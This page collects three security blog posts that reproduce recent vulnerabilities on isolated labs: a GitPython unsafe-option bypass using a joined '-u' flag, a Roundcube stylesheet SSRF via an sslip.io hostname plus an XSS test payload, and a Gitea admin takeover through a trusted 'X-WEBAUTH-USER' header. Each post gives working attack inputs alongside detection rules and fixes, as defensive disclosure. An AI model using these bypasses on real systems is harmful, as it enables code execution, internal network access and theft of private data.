DEV Community: Oleg Usoltsev

It refused to run a dangerous option. I wrote it one character shorter, and it ran

Oleg Usoltsev — Mon, 03 Aug 2026 15:57:44 +0000

GitPython ships a guard against dangerous git options. If your code builds a clone command out of anything that arrived from outside, the library will not let --upload-pack or --config through by default, because both of them execute an arbitrary command. The guard is on out of the box and turns off only with an explicit allow_unsafe_options=True.

I handed it --upload-pack=/srv/lab/helper.sh. It refused. I handed it the same thing written differently, -u/srv/lab/helper.sh, and it let it through. The script ran.

This is CVE-2026-67324, published on 1 August 2026, scored 9.8 on CVSS 3.1 and 9.3 on CVSS 4.0. Those numbers still come from the CNA that filed it: NVD has not run its own analysis yet, the record sits in status Received, so the score may move. Version 3.1.50 is vulnerable, 3.1.51 is fixed.

Below, step by step: the lab, both attempts with real output, the code of the check and why it missed, and what the attack looks like from the outside. Plus the part I find more interesting than the hole itself. This is the third bypass of the same barrier within one year, and all three share a root cause.

Why this deserves your attention

Almost nobody installs GitPython on purpose. It gets 254 million downloads a month from PyPI against five thousand stars on GitHub, and a two-order gap like that means one thing: it arrives as a passenger. With MLflow, with DVC, with bandit, with semgrep, with half the homegrown scripts that touch repositories in CI.

Let me draw the boundary right away, so nobody panics for nothing. Having it installed is harmless on its own. The hole fires only when two conditions hold at the same time:

your code calls Repo.clone_from(..., multi_options=[...]),
something an outsider influences ends up inside multi_options.

The second one happens more often than it sounds. A repository URL from a web form, build parameters from a config another team edits, a field in a CI job, arguments from a webhook. And if you are leaning on allow_unsafe_options=False as your protection in that situation, you are leaning on nothing.

The lab

Nothing heavy is needed here, no Docker, no separate machine. A virtual environment is enough. I am on Python 3.13.5 and git 2.47.3.

The local repository I will be cloning:

mkdir -p src && cd src
git init -q -b main .
echo "hello" > file.txt
git add -A && git commit -q -m init

helper.sh plays the malicious payload. It writes a marker and then hands control to the real git-upload-pack, so the clone does not break before the result is visible. That makes the point clearer: the attack lands, and the operation still looks successful.

#!/bin/sh
echo "GITPYTHON_UNSAFE_OPTION_BYPASS $(id -un)@$(hostname) $(date -u +%FT%TZ)" > /tmp/pwned.txt
exec git-upload-pack "$@"

And the script that runs both spellings of the same option. Note allow_unsafe_options=False: I am explicitly asking the library not to let anything dangerous through.

from git import Repo

for opt in ("--upload-pack=" + LAB + "/helper.sh",
            "-u" + LAB + "/helper.sh"):
    Repo.clone_from(LAB + "/src", dst,
                    multi_options=[opt],
                    allow_unsafe_options=False)

The attack

I install the vulnerable version and run it.

############ VULNERABLE VERSION 3.1.50 ############
GitPython: 3.1.50

--- separated form: --upload-pack=... ---
  refused: UnsafeOptionError --upload-pack is not allowed, use `allow_unsafe_options=True` to allow it.
  helper did NOT run, the gate held

--- JOINED short form: -u... ---
  clone completed
  !!! HELPER EXECUTED, marker contents:
      GITPYTHON_UNSAFE_OPTION_BYPASS builder@ci-runner 2026-08-02T11:17:08Z

The first form is blocked, and the message is honest about it. The second went straight through. The marker holds a username, a hostname and a timestamp: the command ran with the privileges of whatever process was doing the clone. In CI that usually means access to the build environment variables, and that is where the tokens live.

Worth calling out separately: the clone finished successfully. No error, nothing suspicious. If instead of writing a marker I had quietly shipped the contents of ~/.ssh somewhere, the build log would hold nothing at all.

Why the check missed

I open the code. The check lives in check_unsafe_options and leans on a function that reduces an option name to a canonical form:

option_name = option.lstrip("-").split("=", 1)[0]
option_tokens = option_name.split(None, 1)
return dashify(option_tokens[0])

The logic reads: strip leading dashes, cut off the value after the equals sign, take the first word. For --upload-pack=/srv/lab/helper.sh you get upload-pack, which matches an entry in the deny list. That works.

Now the same thing for -u/srv/lab/helper.sh. The dash is stripped, leaving u/srv/lab/helper.sh. There is no equals sign, so nothing to cut. There is no space, so the first word is the whole string. Out comes u/srv/lab/helper.sh.

The deny list holds u. The strings do not match. The option is considered safe.

The check itself in 3.1.50 is six lines and reads beautifully:

canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
for option in options:
    unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
    if unsafe_option is not None:
        raise UnsafeOptionError(...)

A dictionary of canonical names, a lookup by key. Pretty much what almost anyone would write.

The problem is the assumption baked in here: that an option is a name, optionally followed by a value after an equals sign. Git's syntax is richer than that. A short flag can carry its value joined to it. A long option can be shortened to any unambiguous prefix. Short flags can be clustered together. The check knows none of this. Git knows all of it.

The fix in 3.1.51

The surprising part first. The GitPython maintainers did not touch the canonicalization function at all: in 3.1.50 and 3.1.51 it matches byte for byte, thirteen lines in both versions. So they reached the same conclusion, that the normalizer was not the problem.

Instead they rewrote the check around it. It grew from sixteen lines to sixty one. Its own docstring reads like a confession, so here it is in full, quoted from the 3.1.51 source:

In addition to exact matches, this rejects abbreviated long options accepted
by Git (for example, --upl for --upload-pack) and unsafe short options
whose values are joined to the same token, including after clusterable flags
(for example, -uVALUE and -fuVALUE).

So what gets caught now: abbreviated long forms, joined values on short options, and joined values after a cluster of flags. At the same time, safe joined values like -oupstream and -bcurrent have to keep working, otherwise ordinary code breaks. And two cases are handled separately, a list of already normalized keyword arguments and raw command line input, because they need to be checked differently.

Six lines turned into a parser for the grammar of git options. Not because the author enjoys complexity, but because that is what the task was from the very beginning.

I verify the fix on the same lab, with the same command, changing nothing but the library version:

############ FIXED VERSION 3.1.51 ############
GitPython: 3.1.51

--- separated form: --upload-pack=... ---
  refused: UnsafeOptionError --upload-pack is not allowed
  helper did NOT run, the gate held

--- JOINED short form: -u... ---
  refused: UnsafeOptionError -u is not allowed
  helper did NOT run, the gate held

Both forms rejected. The hole is closed.

What it looks like from the outside

Above I said the build log holds nothing. That is true for the application log, but not for the system. Processes are where you look.

I rewrote the helper so that it records its own ancestry the moment it starts. This is exactly what any telemetry agent watching the process tree would see. Paths below are shortened for readability, everything else is as it came out:

me: pid=836478 user=builder
ancestry:
  836478  /bin/sh /srv/lab/helper.sh /srv/lab/src/.git
  836477  /bin/sh -c /srv/lab/helper.sh '/srv/lab/src/.git' ...
  836476  git clone -v -u/srv/lab/helper.sh -- /srv/lab/src /srv/lab/out
  836473  python -

That is the whole detection. In a normal clone, git spawns git-upload-pack directly. Here /bin/sh shows up in between, because the option value is handed to a shell. Git spawning a shell is an anomaly, and it is visible without parsing any content.

Two signals worth wiring up on your side:

First, by process tree: git among the ancestors and sh or bash among the descendants, with no hook present in the repository. Both auditd and any agent watching execve will catch it.

Second, by command line: the option itself is right there in the git invocation.

git clone -v -u/srv/lab/helper.sh -- /srv/lab/src /srv/lab/out

So -u or --upload-pack in git's arguments on a build agent is worth investigating, regardless of the library version. The second signal is cruder, but it will survive the next bypass of the same barrier, and there will be one.

This is not one hole, this is the third pass

The interesting part starts when you look at the history of this barrier.

In December 2022, CVE-2022-24439 landed: a malicious URL that made it into a clone command executed arbitrary code. The entire dangerous-options mechanism exists because of it. That is the starting point, not a bypass.

Then, within the single year of 2026, that mechanism was bypassed three times.

On 7 May, CVE-2026-42284. The _clone() method validated multi_options as the original list, but executed shlex.split(" ".join(multi_options)). So the string "--branch main --config core.hooksPath=/x" passed validation as one list element, and fell apart into two options at execution time, the second of which was on the deny list.

The same day, CVE-2026-42215. The check knew about dashes, but Python keyword arguments arrive with underscores. upload_pack turned into upload-pack after the check had already run.

And on 1 August, the one taken apart above.

Three different bypasses, one root. The check looks at how the option is written. Git looks at what it turns into. Normalization sits between those two moments, and every time someone found a new way to walk through it: joining a list into a string, an underscore instead of a dash, a value glued to a short flag.

This is broader than GitPython. The exact same mistake lives in any filter that inspects a string before the real consumer parses it. Path deny lists that do not know about %2e%2e and symlinks. Header filters that do not know about case and repetition. Filename validation that runs before the operating system collapses slashes. If the validator and the executor parse input by different rules, the difference between them is the vulnerability.

Check yourself

Version:

pip show GitPython | grep -i Version

The target is 3.1.51 or newer. Earlier releases are vulnerable to other bypasses of the same barrier, so intermediate versions are pointless.

Now find your own call sites, because it is not the installation that is dangerous, it is the usage:

grep -rn "clone_from" --include=*.py . | grep -i multi_options

If something turns up, answer one question for yourself: can the contents of multi_options depend on whoever is sending data from outside. If yes, upgrading is mandatory, and upgrading alone is not enough.

What is worth doing beyond the upgrade:

Do not assemble options out of user input at all. If a choice is needed, keep a list of allowed values on your side and substitute them yourself, instead of passing someone else's string through a filter.

Give repository operations their own user. Cloning should not run under the same process that holds your production tokens.

Watch outbound connections and unexpected child processes on your build agent. That is the signal that will outlive the next hole of this class, and there will be one.

Takeaway

The hole here is not in a regular expression and not in a list of forbidden options. The hole is in the assumption that you can validate a string without parsing it the same way the thing that executes it will.

As long as validation and execution read input by different rules, bypasses will keep being found. Not because the authors are careless, but because the grammar of the input is richer than it looks to whoever is writing the filter. Three bypasses in a year in one small library is not a statement about code quality, it is a statement about the chosen approach.

It is safer not to filter someone else's input, but to keep it away from the place where it becomes a command.

Sources

GitPython maintainers' advisory: GHSA-v396-v7q4-x2qj
NVD record: CVE-2026-67324
VulnCheck write-up: gitpython-authentication-bypass-via-joined-short-options

The lab this all ran on builds from a single script, and every command is reproduced in full above.

Originally published in Russian on Habr.

A letter that walks your network for you: reproducing a fresh Roundcube SSRF on a live lab

Oleg Usoltsev — Wed, 22 Jul 2026 08:35:49 +0000

You open an email. While you are reading it, your mail server is already knocking on an internal address you never handed it, because the email told it to. Not a thought experiment. I reproduced it on a lab and caught the request in a log.

Reading an email stopped being a passive act a long time ago. The client parses MIME, renders text into HTML, pulls in styles, shows attachments, turns addresses and links into clickable ones. Every one of those steps is code that runs over data a stranger sent you. And the moment one of those steps trusts that data a little more than it should, the email starts doing things you did not ask for.

In July 2026 Roundcube shipped release 1.6.17, and it is not one patch, it is a whole list. Two of the fixed bugs sit at the top of the scale: NIST rates both 10.0 out of 10, while MITRE is more cautious on the SSRF and gives it 7.2. One of them lets an email make your mail server reach into the internal network on its own. I stood up the vulnerable version on an isolated lab and walked the attack end to end, down to the log line that catches the request coming from the server itself. I will also be honest about where the public data ends and why the second 10.0 cannot be reproduced from it.

Up front: I do not run Roundcube in production, and this is not a piece about it being bad software. I work in server security, and what pulls me in here is a recurring plot. Software that renders content sent to it has an attack surface exactly where it tries to be convenient. Roundcube is a clean illustration, because the holes live in the features themselves: in style loading, in address linkification, in attachment parsing.

How an email makes the server walk the network: CVE-2026-62643 (CVSS 10.0)

I will start with the one I reproduced live.

When Roundcube shows an HTML email, it does not hand the styles over as they are. It first fetches external styles to its own server, runs them through a sanitizer, and only then passes them to the browser. The intent is reasonable: clean the CSS of dangerous constructs before it reaches the user. The problem is that it is the server that does the fetching.

Here is the piece of code that makes the decision (program/actions/mail/index.php):

if ($tag == 'link' && preg_match('/^https?:\/\//i', $attrib['href'])
    && !rcube_utils::is_local_url($attrib['href'])) {
    // rewrite the stylesheet link to the internal modcss handler,
    // which will fetch the URL ITSELF and return sanitized CSS
    $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
    ...
}

So an email carrying <link rel="stylesheet" href="..."> makes the server go to that address. The only thing standing between it and the internal network is the is_local_url check. The entire SSRF defense rests on that function. Let us look at how it works in 1.6.16.

public static function is_local_url($url)
{
    $host = parse_url($url, \PHP_URL_HOST);
    ...
    $host = preg_replace('/^::ffff:/i', '', $host);

    if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
        $host = trim($matches[1], '-.');
    }

    if ($address = Factory::parseAddressString($host, $options)) {
        $nets = [
            '0.0.0.0', '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
            '192.168.0.0/16', '169.254.0.0/16', '::1/128', 'fc00::/7',
        ];
        foreach ($nets as $net) {
            $range = Factory::parseRangeString($net);
            if ($range->contains($address)) {
                return true; // local, block it
            }
        }
        return false;
    }
    ...
}

Direct private addresses are covered honestly: all of RFC1918, loopback, link-local including the cloud metadata range at 169.254. You cannot write href="http://127.0.0.1" or http://169.254.169.254, it gets cut off.

But look at the nip.io line. The developers knew about DNS services that resolve a name like 10.0.0.1.nip.io to the IP 10.0.0.1. Such a service lets you hide a private address behind a public name: is_local_url sees a domain, not an IP, and lets it through. So nip.io is unwrapped back into an address before the check. Fair enough.

Except nip.io is not the only one. There is sslip.io, which does exactly the same thing, and in 1.6.16 it is not in that line. Which means 172.30.0.3.sslip.io is just an external domain to the function. It does not unwrap it, parseAddressString gives no IP from a domain name, the range check never fires, and the function returns false. Not local. Go ahead.

The lab

Everything runs in an isolated network of three containers, the mailboxes are fake. The victim is Roundcube 1.6.16 (the last version before the fix), the mail server is GreenMail, and the attacker container runs a plain python -m http.server, visible inside the network as 172.30.0.3.

services:
  roundcube:
    image: roundcube/roundcubemail:1.6.16-apache
    environment:
      ROUNDCUBEMAIL_DEFAULT_HOST: greenmail
      ROUNDCUBEMAIL_SMTP_SERVER: greenmail
    ports: ["127.0.0.1:8091:80"]
  greenmail:
    image: greenmail/standalone:latest
    environment:
      GREENMAIL_OPTS: "-Dgreenmail.setup.test.all -Dgreenmail.users=victim@lab.local:victimpass,attacker@lab.local:attackerpass"
  attacker:
    image: python:3.12-alpine
    command: python -m http.server 8000

I checked the version right inside the container instead of guessing:

$ docker exec rc-victim head -3 /var/www/html/CHANGELOG.md
# Changelog Roundcube Webmail

## Release 1.6.16

The attack

I send the victim an email with a single line in the head. The host is chosen so as to slip past is_local_url: public DNS will resolve 172.30.0.3.sslip.io back to the private 172.30.0.3, where my listener sits.

html = (
    '<html><head>'
    '<link rel="stylesheet" href="http://172.30.0.3.sslip.io:8000/ssrf-proof.css">'
    '</head><body><p>Styled newsletter.</p></body></html>'
)

I log into webmail as the victim and open the email. By default Roundcube blocks external content and shows a bar with an allow button, so this is not zero-click, it is one user click. I allow external content (in the lab I called the same command that sits behind the button). And I look at the listener log:

172.30.0.4 - - [21/Jul/2026 18:13:38] "GET /ssrf-proof.css HTTP/1.1" 404

There it is. The request arrived, and it arrived from 172.30.0.4. That is not the victim's browser. The browser would never even see the name 172.30.0.3.sslip.io from the outside. 172.30.0.4 is the Roundcube container itself, I checked with hostname -i. So the server, on my command from the email, went to an internal address that I specified. The 404 does not matter here, what matters is that the request happened. That is SSRF: I have no access to the server's internal network, but with an email I made the server go there for me.

On a real server, instead of my empty listener there could be an internal service, a neighboring container, an admin panel with no outside access, a database on an internal port. It gets especially ugly with the cloud metadata endpoint at 169.254.169.254: one such request from the server hands over temporary keys to the entire cloud account. This version already covers it (169.254 is in the blocklist), but the class of attack is exactly about that, and any oversight in the filter reopens the road to credentials. The attacker turns the mail server into a proxy into the internal network.

How to catch it in logs

SSRF in webmail is convenient in that it leaves a distinctive trace: an outbound HTTP connection from the web server process itself to somewhere it has no business going. Not the client, not the browser, but the php-fpm or apache of your Roundcube suddenly connecting to an internal address.

The alert rule is simple: any outbound connection from the web server's UID to an address that is not on your allowlist (your SMTP, IMAP, update servers) is an incident. On the lab it was that log line with the address 172.30.0.4, that is, the IP of Roundcube itself. In production the same pattern is caught on an egress filter or in reverse-proxy logs: a service that should only receive requests suddenly starts making them.

The fix

A one-line patch. The unwrapping of DNS services now catches more than nip.io:

- if (preg_match('/([0-9a-f.-]+)\.nip\.io$/i', $host, $matches)) {
+ if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {

I updated the image to 1.6.17, recreated the container, and replayed the exact same email from the same mailbox. Checked that the patch is in place:

$ docker exec rc-victim grep -n "sslip" .../rcube_utils.php
447: if (preg_match('/([0-9a-f.-]+)\.(nip|sslip)\.io$/i', $host, $matches)) {

I opened the email and allowed external content. The listener log did not change after that, it still holds the single request from 1.6.16. No new hit. Now is_local_url unwraps 172.30.0.3.sslip.io into 172.30.0.3, sees it fall into 172.16.0.0/12, and returns true. The server goes nowhere. The hole is closed.

The fix also tightened an IPv6 bypass along the way: preg_replace('/^::ffff:/i', ...) became /^[0:]*:ffff:/i, so records like 0:0:0:0:0:ffff:127.0.0.1 are now caught too.

The second 10.0, which cannot be set off from public data: CVE-2026-54433

This part will be honest. For the second bug I do not have a working exploit, and I will explain why, because the analysis itself teaches more than a finished result.

CVE-2026-54433 is, by its description, a zero-click stored XSS in the rendering of plain-text emails. It sounds spectacular: even plain text, which by definition has no HTML, runs someone else's JavaScript on open. The cause is in linkification. When Roundcube shows a text email, it finds email addresses and links in it and wraps them into clickable tags. That HTML-generation step is where the bug lives.

I pull up the fix commit. It is exactly one, and it changes a single line, the regex for the query part of a mail link in rcube_string_replacer.php:

- . "(\?[$url1$url2]+)?"        // before: allowed set of characters after ?
+ . '(\?[^<>\s]+)?'             // after: forbid < > and whitespace

The point is clear: previously the tail of a mailto link allowed characters you could break out of markup with, and after the fix angle brackets and whitespace are forbidden there. The commit ships with a test carrying a malicious input:

a@a.co?]<img/src="x"/onerror=alert(document.domain)>

I ran that input on a live 1.6.16 through the browser and got this safe HTML back:

<a href="mailto:a@a.co?">a@a.co?</a>]&lt;img/src="x"/onerror=alert(document.domain)&gt;

That is, the <img> is escaped into entities, the script does not execute even on the vulnerable version. I dug into why. The link is handled not only by the regex but also by a function parse_url_brackets, which carefully strips unpaired brackets from the address, including ]. As a result the ] goes into the tail, and the <img> lands in ordinary text, which gets escaped. The test input from the commit shows the boundary of the fix, but on its own it is not a working exploit.

This is a normal situation. A public test attached to a fix rarely matches a real-world payload. The actual vector is held by the researcher who found it (in the credits it is Bohdan Kurinnoy of Samsung R&D Institute Ukraine), and it is not disclosed until the patch is widely deployed, so as not to arm attackers early. You can build a working exploit out of one diff line, but that is separate, painstaking work with the linkifier, and I will not pass a guess off as a reproduction. What can be stated firmly: the bug in the plain-text linkifier is real, its class is XSS, it is fixed by narrowing the character set. What cannot be stated: that this specific line from the advisory hacks anyone on its own.

This is not one bug, it is a whole class of problems

Look at the 1.6.17 release as a whole and it becomes clear that they were not fixing a random typo, they were going over the mail client's attack surface piece by piece.

CVE-2026-54432, another stored XSS, but this time through an attachment's MIME type. On the attachment-validation warning page the type was inserted without escaping.
Vulnerabilities in the password plugin via a session-injected username.
Two more SSRF bypasses via specific local addresses, on top of the sslip.io one covered here.
Two denial-of-service bugs in the TNEF decoder (that is the winmail.dat from Outlook): an infinite loop and a crash via a crafted size in compressed-RTF.

Different modules, different bug types, one root. The client parses and renders data from an email: text, styles, attachments, a proprietary Microsoft format. Every parser is trust in someone else's input. The richer the mail client, the more places in it where a stranger's email gets a little more power over it than you expected. Styles gave SSRF, the linkifier gave XSS, the TNEF decoder gave DoS.

If you run Roundcube, check today

Version. 1.6.17 or newer (for the 1.7 branch that is 1.7.2). Everything listed is closed there.
External content. Keep the external-resource blocking on by default. It is not only privacy, it is also the thing that keeps SSRF from firing without a user action.
Network isolation. A mail frontend has no business sitting in one flat network with internal services and a cloud metadata endpoint. Limit the outbound connections of the web server itself, not only the inbound ones.
Plugins. If you use the password-change plugin, update it, it has its own share of holes.
Monitoring. Outbound HTTP requests from your webmail process to unexpected addresses are a signal. On the lab, SSRF shows up as a request from the IP of the server itself to somewhere it should not go.

What to take from this

One line of regex where a second DNS service was forgotten, and an email drives your server around the internal network. Another line where the character set was not narrowed enough, and a text email catches an XSS. It is not about Roundcube. It is that any software rendering content sent to you trusts that content by default, and security here is a long list of places where that trust had to be revoked by hand. Between a convenient feature and a hole there is sometimes exactly one missed case in a filter. Here they added up to a whole release.

The lab was stood up in an isolated environment, all addresses and mailboxes are fake. Material for defending your own systems.

"Private" wasn't private: a fresh Gitea auth bypass, reproduced on a live lab

Oleg Usoltsev — Tue, 21 Jul 2026 14:32:19 +0000

People don't self-host git for fun. You stand up Gitea or Forgejo when the code can't leave the building. Not even into a private GitHub repo, you want your own closed perimeter, your own rules. The whole point of the exercise is privacy. Your own thing, behind a fence, under your control.

Now imagine the fence isn't there. That the "private" repository hands its contents to anyone who asks the right way. That you can log in as admin with no password, using a single HTTP header.

That is exactly what happened to Gitea in 2026. And more than once.

Let me say it up front: I don't run Gitea myself, and this article isn't about Gitea. I work on server security, and what catches my eye here isn't a specific product, it's a problem I keep running into. Dangerous defaults in official Docker images. Someone grabs an image, runs it "like the docs say," and ends up with a hole they never put there themselves. So I took a fresh critical CVE, stood up the vulnerable version on a lab box, and ran the whole attack end to end. To show just how literal this is.

One header to admin: CVE-2026-20896 (CVSS 9.8)

The entire vulnerability fits in one config line.

Gitea can live behind an authenticating reverse proxy. The proxy verifies the user and passes their name in the X-WEBAUTH-USER header, and Gitea trusts that header. As long as the header comes from a trusted proxy, it's all legitimate. The REVERSE_PROXY_TRUSTED_PROXIES setting is what decides who counts as trusted. And in the official Docker image it was set to an asterisk. Meaning "trust this header from any address."

From there the arithmetic is simple. An admin turns on reverse-proxy authentication (people turn it on for SSO), and anyone on the internet sends the header X-WEBAUTH-USER: admin and becomes admin. 9.8 on CVSS. Sysdig caught exploitation attempts in the wild within days of the PoC going public.

The lab

Everything in an isolated container on localhost, secrets are fake. The vulnerable version and that exact default:

docker run -d --name vuln-gitea -p 127.0.0.1:3999:3000 \
  -e GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES='*' \
  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
  gitea/gitea:1.26.2

I created an admin and a private repository called secret-infra, with a .env inside it. Exactly the kind of thing people keep a private git for:

DB_PASSWORD=SuperSecret_Prod_2026
AWS_SECRET_KEY=AKIA_fake_prod_key_xyz
STRIPE_LIVE=sk_live_fake_demo

The attack

First I look at the service as a random passerby from the internet, with zero access:

GET /admin/secret-infra/raw/branch/main/.env  -> 404 Not Found
GET /api/v1/user                              -> 401 Unauthorized

Closed, as it should be. Now I add one header:

curl -H 'X-WEBAUTH-USER: admin' \
  http://target:3000/admin/secret-infra/raw/branch/main/.env

DB_PASSWORD=SuperSecret_Prod_2026
AWS_SECRET_KEY=AKIA_fake_prod_key_xyz
STRIPE_LIVE=sk_live_fake_demo

That's it. Private stopped being private. Let's go to the admin panel:

GET /-/admin        no header     -> 303, redirect to login
GET /-/admin        with header   -> 200, admin dashboard
GET /-/admin/users  with header   -> 200, list of all users

Full control. No password, no token, no account.

One detail so you don't fool yourself

The header works on web routes: the UI, raw files, the admin panel. It does not work on /api/v1, that path wants a token, and the API honestly returned 401 to me. That sounds reassuring, but it's too early to relax. The attacker is already sitting in the web UI as admin, which means through that same settings form they issue themselves a personal API token. And now they have the API too. Just two steps instead of one.

How to catch it in the logs

The attack leaves a distinctive trail. Successful responses on private and admin paths from an address that has no business being there:

router: completed GET /admin/secret-infra/raw/branch/main/.env for 172.30.0.3, 200 OK
router: completed GET /-/admin for 172.30.0.3, 200 OK

Alert rule: 200 OK on /-/admin or on raw files of private repositories from an IP that is not your reverse proxy. If there's a single proxy in front of Gitea, then any hit on the admin panel from an address other than its own is already an incident.

The fix

Trust the header only from the real proxy, not from everyone:

-e GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES='10.0.0.5'   # IP/CIDR of your proxy

I recreated the container with this value and repeated the exact same exploit from the exact same source:

GET /-/admin with header                                  -> 401
GET /admin/secret-infra/raw/branch/main/.env with header  -> 401

The header from an untrusted address is now simply ignored. Properly, you should update to 1.26.4, where the asterisk was removed from the default. Not to 1.26.3, that one had a regression in the SSRF patch. And if you don't need reverse-proxy authentication at all, turn it off and there's nothing left to discuss.

This is not a one-off bug

The really unpleasant part shows up when you look at Gitea's whole 2026. The disease is the same, broken access control, but different organs get sick.

The built-in container registry, CVE-2026-27771. Private images were served to anonymous users. The word "private" on an image repo turned out to be just a label in the interface. At the level of the OCI protocol, the one Docker and Kubernetes actually use to pull images, authentication wasn't checked at all. The bug lived for about four years, roughly 30,000 instances on the internet were exposed, and Forgejo was affected too. Same story: the system thinks access is restricted, and it isn't.

Then webhooks and migrations, CVE-2026-22874, an SSRF caused by a leaky allow-list filter, from which you could reach internal addresses. Then LFS and CVE-2026-28740: an authorization bypass that gave read access to private repositories and let you reuse objects between repositories without permission.

Registry, LFS, webhooks, reverse proxy. Every fancy feature bolted on top of git dragged in its own access-control hole. That is the price of rich functionality. The more a service can do, the more places it has where "private" suddenly turns out to be public.

If you run Gitea, check today

Version. 1.26.4 or newer. Don't take 1.26.3, it has a regression in the SSRF fix.
REVERSE_PROXY_TRUSTED_PROXIES. Not an asterisk, a specific IP or CIDR of your proxy. Don't need proxy auth? Turn it off.
Built-in registry. Updating is mandatory because of CVE-2026-27771. Quick stopgap against anonymous access: REQUIRE_SIGNIN_VIEW=true in the service section.
Network. Don't expose Gitea as a bare port to the outside. Put a proxy or WAF in front, network policies, restrictions on admin paths.
Monitoring. Alert on 200 OK for /-/admin and for raw files of private repos from foreign addresses.
Exposure. Scan yourself from the outside and see what's actually sticking out. Registry and LFS are often open wider than the owner thinks.

What to take away

One asterisk in a default config, and there's your 9.8 hole. This isn't about Gitea and it isn't about this specific CVE. Official images have trained us to run someone else's defaults without looking, and "works out of the box" and "secure out of the box" are two very different states. Sometimes there is exactly one character between private and public. Here it was an asterisk.

The lab was built in an isolated environment, all secrets are fake. This is material for defending your own systems.